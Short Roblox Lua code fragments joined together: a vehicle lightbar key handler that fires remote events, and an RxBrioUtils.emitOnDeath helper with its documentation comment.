veh.Lightbar.TakedownEvent:FireServer(true)
end
end)
uis.InputBegan:connect(function(input)
if input.KeyCode==Enum.KeyCode.J or input.KeyCode==Enum.KeyCode.DPadUp then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
|
--[=[
Takes in an observable of brios and returns an observable of the inner values that will also output
nil if there is no other value for the brio.
@param emitOnDeathValue U
@return (source: Observable<Brio<T> | T>) -> Observable<T | U>
]=]
|
function RxBrioUtils.emitOnDeath(emitOnDeathValue)
return Rx.switchMap(RxBrioUtils.mapBrioToEmitOnDeathObservable(emitOnDeathValue));
end
|
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